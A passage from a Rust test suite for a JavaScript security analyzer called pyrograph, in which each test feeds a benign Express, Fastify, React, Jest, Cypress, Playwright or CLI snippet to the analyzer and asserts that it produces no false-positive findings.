let graph = pyrograph::parse::parse_js(js, "nextjs_loading.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js loading skeleton must have zero findings");
}
#[test]
fn fp_wave2_react_form_controlled() {
let js = r#"
const React = require('react');
const { useState } = React;
function ContactForm() {
const [email, setEmail] = useState('');
return React.createElement('form', { onSubmit: function(e) { e.preventDefault(); console.log(email); } },
React.createElement('input', { type: 'email', value: email, onChange: function(e) { setEmail(e.target.value); } }),
React.createElement('button', { type: 'submit' }, 'Submit')
);
}
module.exports = ContactForm;
"#;
let graph = pyrograph::parse::parse_js(js, "react_form_controlled.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React controlled form must have zero findings");
}
#[test]
fn fp_wave2_nextjs_api_cors_preflight() {
let js = r#"
module.exports = async function handler(req, res) {
res.setHeader('Access-Control-Allow-Origin', 'https://app.example.com');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
if (req.method === 'OPTIONS') {
return res.status(200).end();
}
res.status(200).json({ ok: true });
};
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_api_cors.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js API CORS preflight must have zero findings");
}
#[test]
fn fp_wave2_react_memo_list_item() {
let js = r#"
const React = require('react');
const ListItem = React.memo(function ListItem(props) {
console.log('Rendering', props.id);
return React.createElement('li', { className: 'item' }, props.title);
});
module.exports = ListItem;
"#;
let graph = pyrograph::parse::parse_js(js, "react_memo_item.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React memo list item must have zero findings");
}
#[test]
fn fp_wave2_nextjs_not_found_page() {
let js = r#"
const React = require('react');
function NotFound() {
return React.createElement('div', null,
React.createElement('h1', null, '404 - Page Not Found'),
React.createElement('a', { href: '/' }, 'Go Home')
);
}
module.exports = NotFound;
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_not_found.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js not-found page must have zero findings");
}
#[test]
fn fp_wave2_express_crud_users() {
let js = r#"
const express = require('express');
const router = express.Router();
const users = [];
router.get('/users', function(req, res) { res.json(users); });
router.post('/users', function(req, res) {
const user = { id: Date.now(), name: req.body.name };
users.push(user);
res.status(201).json(user);
});
router.get('/users/:id', function(req, res) {
const user = users.find(function(u) { return u.id === parseInt(req.params.id); });
if (!user) return res.status(404).json({ error: 'Not found' });
res.json(user);
});
module.exports = router;
"#;
let graph = pyrograph::parse::parse_js(js, "express_crud_users.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express CRUD users API must have zero findings");
}
#[test]
fn fp_wave2_express_jwt_auth_middleware() {
let js = r#"
const jwt = require('jsonwebtoken');
function authMiddleware(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader) return res.status(401).json({ error: 'Missing token' });
const token = authHeader.split(' ')[1];
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (err) {
res.status(403).json({ error: 'Invalid token' });
}
}
module.exports = authMiddleware;
"#;
let graph = pyrograph::parse::parse_js(js, "express_jwt_auth.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express JWT auth middleware must have zero findings");
}
#[test]
fn fp_wave2_express_multer_upload() {
let js = r#"
const express = require('express');
const multer = require('multer');
const path = require('path');
const storage = multer.diskStorage({
destination: function(req, file, cb) { cb(null, './uploads/'); },
filename: function(req, file, cb) { cb(null, Date.now() + path.extname(file.originalname)); }
});
const upload = multer({ storage: storage, limits: { fileSize: 5 * 1024 * 1024 } });
const app = express();
app.post('/upload', upload.array('images', 5), function(req, res) {
res.json({ files: req.files.map(function(f) { return f.filename; }) });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_multer_upload.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express multer file upload must have zero findings");
}
#[test]
fn fp_wave2_express_websocket_upgrade() {
let js = r#"
const express = require('express');
const { createServer } = require('http');
const { WebSocketServer } = require('ws');
const app = express();
const server = createServer(app);
const wss = new WebSocketServer({ server: server, path: '/ws' });
wss.on('connection', function(ws, req) {
console.log('Client connected from', req.socket.remoteAddress);
ws.on('message', function(data) {
ws.send(JSON.stringify({ echo: data.toString(), time: Date.now() }));
});
ws.on('close', function() { console.log('Client disconnected'); });
});
server.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "express_websocket.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express WebSocket upgrade must have zero findings");
}
#[test]
fn fp_wave2_express_rate_limit_redis() {
let js = r#"
const express = require('express');
const RedisStore = require('rate-limit-redis');
const rateLimit = require('express-rate-limit');
const Redis = require('ioredis');
const client = new Redis({ host: process.env.REDIS_HOST || 'localhost' });
const limiter = rateLimit({
store: new RedisStore({ client: client }),
windowMs: 15 * 60 * 1000,
max: 100,
keyGenerator: function(req) { return req.ip; }
});
const app = express();
app.use('/api/', limiter);
"#;
let graph = pyrograph::parse::parse_js(js, "express_rate_limit_redis.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express rate limit with Redis must have zero findings");
}
#[test]
fn fp_wave2_fastify_hello_world() {
let js = r#"
const fastify = require('fastify')({ logger: true });
fastify.get('/', async function(request, reply) {
return { hello: 'world' };
});
fastify.listen({ port: 3000, host: '0.0.0.0' });
"#;
let graph = pyrograph::parse::parse_js(js, "fastify_hello.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Fastify hello world must have zero findings");
}
#[test]
fn fp_wave2_fastify_register_plugins() {
let js = r#"
const fastify = require('fastify')();
fastify.register(require('@fastify/cors'), { origin: true });
fastify.register(require('@fastify/helmet'));
fastify.register(require('@fastify/compression'));
fastify.get('/health', async function() { return { status: 'ok' }; });
fastify.listen({ port: 3000 });
"#;
let graph = pyrograph::parse::parse_js(js, "fastify_plugins.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Fastify plugin registration must have zero findings");
}
#[test]
fn fp_wave2_express_oauth_callback() {
let js = r#"
const express = require('express');
const axios = require('axios');
const app = express();
app.get('/auth/callback', async function(req, res) {
const code = req.query.code;
const tokenRes = await axios.post('https://oauth.provider.com/token', {
client_id: process.env.OAUTH_CLIENT_ID,
client_secret: process.env.OAUTH_CLIENT_SECRET,
code: code,
grant_type: 'authorization_code',
redirect_uri: 'https://app.example.com/auth/callback'
});
req.session.token = tokenRes.data.access_token;
res.redirect('/dashboard');
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_oauth_callback.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express OAuth callback must have zero findings");
}
#[test]
fn fp_wave2_express_validation_joi() {
let js = r#"
const express = require('express');
const Joi = require('joi');
const app = express();
const schema = Joi.object({
email: Joi.string().email().required(),
password: Joi.string().min(8).required()
});
app.post('/register', function(req, res) {
const result = schema.validate(req.body);
if (result.error) return res.status(400).json({ error: result.error.details[0].message });
res.json({ message: 'Registered', email: result.value.email });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_joi_validation.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express Joi validation must have zero findings");
}
#[test]
fn fp_wave2_fastify_route_schema() {
let js = r#"
const fastify = require('fastify')();
fastify.get('/user/:id', {
schema: {
params: { type: 'object', properties: { id: { type: 'string' } } },
response: { 200: { type: 'object', properties: { name: { type: 'string' } } } }
}
}, async function(request, reply) {
return { name: 'Alice', id: request.params.id };
});
fastify.listen({ port: 3000 });
"#;
let graph = pyrograph::parse::parse_js(js, "fastify_route_schema.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Fastify route schema must have zero findings");
}
#[test]
fn fp_wave2_express_cookie_session() {
let js = r#"
const express = require('express');
const session = require('cookie-session');
const app = express();
app.use(session({
name: 'session',
keys: [process.env.SESSION_SECRET, process.env.SESSION_SECRET_SECONDARY],
maxAge: 24 * 60 * 60 * 1000,
secure: true,
httpOnly: true
}));
app.get('/login', function(req, res) {
req.session.user = { id: '123', role: 'user' };
res.json({ success: true });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_cookie_session.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express cookie session must have zero findings");
}
#[test]
fn fp_wave2_express_sanitize_html() {
let js = r#"
const express = require('express');
const sanitizeHtml = require('sanitize-html');
const app = express();
app.post('/comment', function(req, res) {
const clean = sanitizeHtml(req.body.content, {
allowedTags: ['b', 'i', 'em', 'strong', 'a'],
allowedAttributes: { a: ['href'] }
});
res.json({ sanitized: clean });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_sanitize_html.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express sanitize-html must have zero findings");
}
#[test]
fn fp_wave2_fastify_multipart_upload() {
let js = r#"
const fastify = require('fastify')();
fastify.register(require('@fastify/multipart'));
fastify.post('/upload', async function(request, reply) {
const data = await request.file();
const buffer = await data.toBuffer();
await require('fs').promises.writeFile('./uploads/' + data.filename, buffer);
return { uploaded: data.filename, size: buffer.length };
});
fastify.listen({ port: 3000 });
"#;
let graph = pyrograph::parse::parse_js(js, "fastify_multipart.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Fastify multipart upload must have zero findings");
}
#[test]
fn fp_wave2_express_pagination_cursor() {
let js = r#"
const express = require('express');
const app = express();
app.get('/items', async function(req, res) {
const cursor = req.query.cursor || null;
const limit = Math.min(parseInt(req.query.limit) || 20, 100);
const items = await db.query('SELECT * FROM items WHERE id > $1 ORDER BY id LIMIT $2', [cursor, limit]);
res.json({ items: items.rows, nextCursor: items.rows.length ? items.rows[items.rows.length - 1].id : null });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_pagination.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express cursor pagination must have zero findings");
}
#[test]
fn fp_wave2_express_proxy_pass() {
let js = r#"
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const app = express();
app.use('/api', createProxyMiddleware({
target: 'http://localhost:8080',
changeOrigin: true,
pathRewrite: { '^/api': '' }
}));
app.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "express_proxy.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express proxy middleware must have zero findings");
}
#[test]
fn fp_wave2_fastify_graceful_shutdown() {
let js = r#"
const fastify = require('fastify')();
fastify.get('/', async function() { return 'OK'; });
const start = async function() {
await fastify.listen({ port: 3000 });
};
start();
process.on('SIGTERM', async function() {
console.log('SIGTERM received, closing server');
await fastify.close();
process.exit(0);
});
"#;
let graph = pyrograph::parse::parse_js(js, "fastify_graceful_shutdown.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Fastify graceful shutdown must have zero findings");
}
#[test]
fn fp_wave2_express_csrf_protection() {
let js = r#"
const express = require('express');
const csrf = require('csurf');
const app = express();
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, function(req, res) {
res.json({ csrfToken: req.csrfToken() });
});
app.post('/process', csrfProtection, function(req, res) {
res.json({ success: true });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_csrf.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express CSRF protection must have zero findings");
}
#[test]
fn fp_wave2_express_request_logging() {
let js = r#"
const express = require('express');
const app = express();
app.use(function(req, res, next) {
const start = Date.now();
res.on('finish', function() {
const duration = Date.now() - start;
console.log(req.method + ' ' + req.originalUrl + ' ' + res.statusCode + ' ' + duration + 'ms');
});
next();
});
app.get('/', function(req, res) { res.send('OK'); });
"#;
let graph = pyrograph::parse::parse_js(js, "express_request_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express request logging must have zero findings");
}
#[test]
fn fp_wave2_fastify_jwt_plugin() {
let js = r#"
const fastify = require('fastify')();
fastify.register(require('@fastify/jwt'), { secret: process.env.JWT_SECRET });
fastify.post('/login', async function(request, reply) {
const token = await fastify.jwt.sign({ user: request.body.email });
return { token: token };
});
fastify.get('/profile', { preValidation: [fastify.authenticate] }, async function(request) {
return request.user;
});
fastify.listen({ port: 3000 });
"#;
let graph = pyrograph::parse::parse_js(js, "fastify_jwt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Fastify JWT plugin must have zero findings");
}
#[test]
fn fp_wave2_express_graphql_middleware() {
let js = r#"
const express = require('express');
const { graphqlHTTP } = require('express-graphql');
const { buildSchema } = require('graphql');
const schema = buildSchema('type Query { hello: String }');
const root = { hello: function() { return 'Hello world!'; } };
const app = express();
app.use('/graphql', graphqlHTTP({ schema: schema, rootValue: root, graphiql: true }));
app.listen(4000);
"#;
let graph = pyrograph::parse::parse_js(js, "express_graphql.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express GraphQL middleware must have zero findings");
}
#[test]
fn fp_wave2_express_openapi_validation() {
let js = r#"
const express = require('express');
const openapi = require('express-openapi');
const app = express();
openapi.initialize({
app: app,
apiDoc: require('./api-doc.json'),
paths: './paths'
});
app.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "express_openapi.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Express OpenAPI validation must have zero findings");
}
#[test]
fn fp_wave2_fastify_swagger_docs() {
let js = r#"
const fastify = require('fastify')();
fastify.register(require('@fastify/swagger'), {
swagger: { info: { title: 'API', version: '1.0.0' }, host: 'localhost' }
});
fastify.register(require('@fastify/swagger-ui'), { routePrefix: '/docs' });
fastify.get('/api/users', { schema: { description: 'Get users' } }, async function() { return []; });
fastify.ready(function(err) { if (err) throw err; fastify.swagger(); });
"#;
let graph = pyrograph::parse::parse_js(js, "fastify_swagger.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Fastify swagger docs must have zero findings");
}
#[test]
fn fp_wave2_jest_mock_child_process() {
let js = r#"
const { execSync } = require('child_process');
jest.mock('child_process', function() {
return { execSync: jest.fn(function() { return 'mocked output'; }) };
});
test('build script runs', function() {
const result = execSync('npm run build');
expect(result).toBe('mocked output');
expect(execSync).toHaveBeenCalledWith('npm run build');
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_mock_child_process.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest mock of child_process must have zero findings");
}
#[test]
fn fp_wave2_jest_spyon_console() {
let js = r#"
const myModule = require('./myModule');
test('logs error on failure', function() {
const consoleSpy = jest.spyOn(console, 'error').mockImplementation(function() {});
myModule.doSomethingRisky(false);
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('failed'));
consoleSpy.mockRestore();
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_spy_console.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest spyOn console must have zero findings");
}
#[test]
fn fp_wave2_cypress_network_intercept() {
let js = r#"
describe('API Tests', function() {
it('mocks login response', function() {
cy.intercept('POST', '/api/login', {
statusCode: 200,
body: { token: 'fake-jwt-token', user: { id: 1, email: 'test@example.com' } }
}).as('login');
cy.visit('/login');
cy.get('[data-testid=email]').type('test@example.com');
cy.get('[data-testid=password]').type('password123');
cy.get('button[type=submit]').click();
cy.wait('@login');
cy.url().should('include', '/dashboard');
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "cypress_intercept.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Cypress network intercept must have zero findings");
}
#[test]
fn fp_wave2_playwright_browser_automation() {
let js = r#"
const { test, expect } = require('@playwright/test');
test('user can checkout', async function({ page }) {
await page.goto('https://shop.example.com');
await page.locator('[data-testid="add-to-cart"]').click();
await page.locator('[data-testid="checkout"]').click();
await page.fill('[name="email"]', 'user@example.com');
await page.fill('[name="card"]', '4242424242424242');
await page.click('button:has-text("Pay")');
await expect(page.locator('.success')).toContainText('Thank you');
});
"#;
let graph = pyrograph::parse::parse_js(js, "playwright_checkout.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Playwright browser automation must have zero findings");
}
#[test]
fn fp_wave2_jest_manual_mock_fs() {
let js = r#"
jest.mock('fs');
const fs = require('fs');
const { readConfig } = require('./config');
test('reads config', function() {
fs.readFileSync.mockReturnValue('{"name":"test"}');
const config = readConfig();
expect(config.name).toBe('test');
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_mock_fs.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest manual mock of fs must have zero findings");
}
#[test]
fn fp_wave2_vitest_mock_fetch() {
let js = r#"
import { vi, test, expect } from 'vitest';
import { fetchUser } from './api';
global.fetch = vi.fn(function() {
return Promise.resolve({ ok: true, json: function() { return Promise.resolve({ id: 1, name: 'Alice' }); } });
});
test('fetchUser returns user', async function() {
const user = await fetchUser(1);
expect(user.name).toBe('Alice');
expect(fetch).toHaveBeenCalledWith('/api/users/1');
});
"#;
let graph = pyrograph::parse::parse_js(js, "vitest_mock_fetch.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Vitest mock fetch must have zero findings");
}
#[test]
fn fp_wave2_cypress_file_upload() {
let js = r#"
describe('File Upload', function() {
it('uploads avatar', function() {
cy.fixture('avatar.png').then(function(fileContent) {
cy.get('input[type="file"]').attachFile({
fileContent: fileContent,
fileName: 'avatar.png',
mimeType: 'image/png'
});
cy.get('button').contains('Upload').click();
cy.get('.success').should('be.visible');
});
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "cypress_file_upload.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Cypress file upload must have zero findings");
}
#[test]
fn fp_wave2_playwright_api_testing() {
let js = r#"
const { test, expect } = require('@playwright/test');
test('API returns users', async function({ request }) {
const response = await request.get('/api/users');
expect(response.ok()).toBeTruthy();
const users = await response.json();
expect(users).toHaveLength(3);
expect(users[0]).toHaveProperty('email');
});
"#;
let graph = pyrograph::parse::parse_js(js, "playwright_api.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Playwright API testing must have zero findings");
}
#[test]
fn fp_wave2_jest_snapshot_testing() {
let js = r#"
const React = require('react');
const renderer = require('react-test-renderer');
const Button = require('./Button');
test('Button renders correctly', function() {
const tree = renderer
.create(React.createElement(Button, { label: 'Click me' }))
.toJSON();
expect(tree).toMatchSnapshot();
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_snapshot.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest snapshot testing must have zero findings");
}
#[test]
fn fp_wave2_mocha_chai_assertions() {
let js = r#"
const { expect } = require('chai');
const { add } = require('./math');
describe('Math', function() {
it('adds two numbers', function() {
expect(add(2, 3)).to.equal(5);
});
it('returns a number', function() {
expect(add(1, 1)).to.be.a('number');
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "mocha_chai.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Mocha Chai assertions must have zero findings");
}
#[test]
fn fp_wave2_testing_library_react() {
let js = r#"
const React = require('react');
const { render, screen, fireEvent } = require('@testing-library/react');
function Counter() {
const { useState } = require('react');
const [count, setCount] = useState(0);
return React.createElement('button', { onClick: function() { setCount(count + 1); } }, 'Count: ' + count);
}
test('increments count', function() {
render(React.createElement(Counter));
const button = screen.getByText('Count: 0');
fireEvent.click(button);
expect(screen.getByText('Count: 1')).toBeInTheDocument();
});
"#;
let graph = pyrograph::parse::parse_js(js, "testing_library_react.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Testing Library React must have zero findings");
}
#[test]
fn fp_wave2_jest_coverage_istanbul() {
let js = r#"
const { collectCoverage } = require('./coverage-helper');
test('collects coverage', function() {
const coverage = collectCoverage();
expect(coverage.lines).toBeGreaterThan(80);
expect(coverage.functions).toBeGreaterThan(70);
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_coverage.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest coverage setup must have zero findings");
}
#[test]
fn fp_wave2_cypress_env_secrets() {
let js = r#"
Cypress.env('API_URL');
Cypress.env('AUTH_TOKEN');
describe('Authenticated tests', function() {
beforeEach(function() {
cy.request({
method: 'POST',
url: Cypress.env('API_URL') + '/auth',
body: { token: Cypress.env('AUTH_TOKEN') }
});
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "cypress_env.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Cypress env usage must have zero findings");
}
#[test]
fn fp_wave2_playwright_screenshot_visual() {
let js = r#"
const { test, expect } = require('@playwright/test');
test('homepage visual regression', async function({ page }) {
await page.goto('/');
await page.screenshot({ path: 'homepage.png', fullPage: true });
expect(await page.screenshot()).toMatchSnapshot('homepage.png');
});
"#;
let graph = pyrograph::parse::parse_js(js, "playwright_screenshot.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Playwright screenshot testing must have zero findings");
}
#[test]
fn fp_wave2_jest_timer_mocks() {
let js = r#"
jest.useFakeTimers();
test('debounce works', function() {
const fn = jest.fn();
const debounced = debounce(fn, 1000);
debounced();
debounced();
jest.advanceTimersByTime(1000);
expect(fn).toHaveBeenCalledTimes(1);
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_timers.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest timer mocks must have zero findings");
}
#[test]
fn fp_wave2_supertest_api_assertions() {
let js = r#"
const request = require('supertest');
const app = require('./app');
describe('GET /users', function() {
it('returns users array', async function() {
const res = await request(app).get('/users');
expect(res.statusCode).toBe(200);
expect(res.body).toBeInstanceOf(Array);
expect(res.headers['content-type']).toMatch(/json/);
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "supertest_api.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Supertest API assertions must have zero findings");
}
#[test]
fn fp_wave2_cypress_custom_command() {
let js = r#"
Cypress.Commands.add('login', function(email, password) {
cy.session([email, password], function() {
cy.request('POST', '/api/login', { email: email, password: password });
});
});
describe('Dashboard', function() {
it('shows dashboard after login', function() {
cy.login('admin@example.com', 'secret123');
cy.visit('/dashboard');
cy.contains('Welcome').should('be.visible');
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "cypress_custom_command.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Cypress custom command must have zero findings");
}
#[test]
fn fp_wave2_playwright_auth_state() {
let js = r#"
const { test, expect } = require('@playwright/test');
test.use({ storageState: 'auth.json' });
test('accesses protected page', async function({ page }) {
await page.goto('/admin');
await expect(page.locator('h1')).toHaveText('Admin Panel');
});
"#;
let graph = pyrograph::parse::parse_js(js, "playwright_auth_state.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Playwright auth state must have zero findings");
}
#[test]
fn fp_wave2_jest_module_mapper() {
let js = r#"
jest.mock('axios');
const axios = require('axios');
const { fetchData } = require('./api');
test('fetchData calls axios', async function() {
axios.get.mockResolvedValue({ data: { items: [] } });
const result = await fetchData('/items');
expect(axios.get).toHaveBeenCalledWith('/items');
expect(result.items).toEqual([]);
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_module_mapper.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest module mapper must have zero findings");
}
#[test]
fn fp_wave2_cypress_component_test() {
let js = r#"
const React = require('react');
const { mount } = require('cypress/react');
function Button(props) {
return React.createElement('button', { onClick: props.onClick }, props.children);
}
describe('Button Component', function() {
it('renders and handles click', function() {
const onClick = cy.spy().as('onClick');
mount(React.createElement(Button, { onClick: onClick }, 'Click me'));
cy.get('button').click();
cy.get('@onClick').should('have.been.calledOnce');
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "cypress_component.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Cypress component test must have zero findings");
}
#[test]
fn fp_wave2_playwright_mobile_viewport() {
let js = r#"
const { test, expect, devices } = require('@playwright/test');
test.use({ ...devices['iPhone 14'] });
test('mobile menu opens', async function({ page }) {
await page.goto('/');
await page.locator('[aria-label="Menu"]').click();
await expect(page.locator('nav')).toBeVisible();
});
"#;
let graph = pyrograph::parse::parse_js(js, "playwright_mobile.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Playwright mobile viewport must have zero findings");
}
#[test]
fn fp_wave2_jest_database_transaction() {
let js = r#"
const db = require('./db');
beforeEach(async function() {
await db.beginTransaction();
});
afterEach(async function() {
await db.rollbackTransaction();
});
test('creates user in transaction', async function() {
const user = await db.users.create({ email: 'test@example.com' });
expect(user.email).toBe('test@example.com');
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_db_transaction.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Jest database transaction must have zero findings");
}
#[test]
fn fp_wave2_cypress_e2e_purchase_flow() {
let js = r#"
describe('Purchase Flow', function() {
it('completes checkout', function() {
cy.visit('/products/1');
cy.get('button[data-testid="add-to-cart"]').click();
cy.get('a[href="/cart"]').click();
cy.get('button[data-testid="checkout"]').click();
cy.fillShippingAddress({ name: 'Alice', street: '123 Main St' });
cy.fillPayment({ card: '4242424242424242', expiry: '12/25', cvc: '123' });
cy.get('button[data-testid="place-order"]').click();
cy.url().should('include', '/order-confirmation');
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "cypress_purchase.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Cypress e2e purchase flow must have zero findings");
}
#[test]
fn fp_wave2_commander_git_status() {
let js = r#"
const { Command } = require('commander');
const { execSync } = require('child_process');
const program = new Command();
program
.name('repo-cli')
.description('Git repository helper')
.command('status')
.description('Show git status')
.action(function() {
const output = execSync('git status --short', { encoding: 'utf8' });
console.log(output || 'Working tree clean');
});
program.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "commander_git_status.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Commander git status CLI must have zero findings");
}
#[test]
fn fp_wave2_yargs_npm_version() {
let js = r#"
const yargs = require('yargs');
const { execSync } = require('child_process');
yargs
.command('version', 'Show versions', function() {}, function() {
console.log('Node:', process.version);
console.log('npm:', execSync('npm --version', { encoding: 'utf8' }).trim());
console.log('yarn:', execSync('yarn --version', { encoding: 'utf8' }).trim());
})
.help()
.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "yargs_npm_version.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Yargs npm version CLI must have zero findings");
}
#[test]
fn fp_wave2_inquirer_project_scaffold() {
let js = r#"
const inquirer = require('inquirer');
const fs = require('fs');
const path = require('path');
async function scaffold() {
const answers = await inquirer.prompt([
{ type: 'input', name: 'projectName', message: 'Project name?' },
{ type: 'list', name: 'template', message: 'Choose template', choices: ['react', 'vue', 'svelte'] },
{ type: 'confirm', name: 'installDeps', message: 'Install dependencies?', default: true }
]);
const targetDir = path.join(process.cwd(), answers.projectName);
fs.mkdirSync(targetDir, { recursive: true });
fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify({ name: answers.projectName }, null, 2));
console.log('Created ' + answers.projectName + ' using ' + answers.template + ' template');
}
scaffold();
"#;
let graph = pyrograph::parse::parse_js(js, "inquirer_scaffold.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Inquirer project scaffold must have zero findings");
}
#[test]
fn fp_wave2_chalk_progress_bar() {
let js = r#"
const chalk = require('chalk');
function renderProgress(percent) {
const filled = Math.round(percent / 2);
const empty = 50 - filled;
const bar = chalk.green('█'.repeat(filled)) + chalk.gray('░'.repeat(empty));
console.log('[' + bar + '] ' + percent + '%');
}
for (let i = 0; i <= 100; i += 10) {
renderProgress(i);
}
"#;
let graph = pyrograph::parse::parse_js(js, "chalk_progress.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Chalk progress bar must have zero findings");
}
#[test]
fn fp_wave2_ora_spinner_build() {
let js = r#"
const ora = require('ora');
const { execSync } = require('child_process');
async function build() {
const spinner = ora('Building project...').start();
try {
execSync('npm run build', { stdio: 'inherit' });
spinner.succeed('Build completed successfully');
} catch (err) {
spinner.fail('Build failed');
process.exit(1);
}
}
build();
"#;
let graph = pyrograph::parse::parse_js(js, "ora_spinner.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Ora spinner build must have zero findings");
}
#[test]
fn fp_wave2_commander_config_init() {
let js = r#"
const { Command } = require('commander');
const fs = require('fs');
const path = require('path');
const os = require('os');
const program = new Command();
program
.command('init')
.description('Initialize config file')
.option('-g, --global', 'Save to global config dir')
.action(function(options) {
const configDir = options.global ? path.join(os.homedir(), '.mycli') : process.cwd();
const configPath = path.join(configDir, 'config.json');
fs.mkdirSync(configDir, { recursive: true });
fs.writeFileSync(configPath, JSON.stringify({ version: '1.0.0' }, null, 2));
console.log('Config written to', configPath);
});
program.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "commander_config_init.js").unwrap();
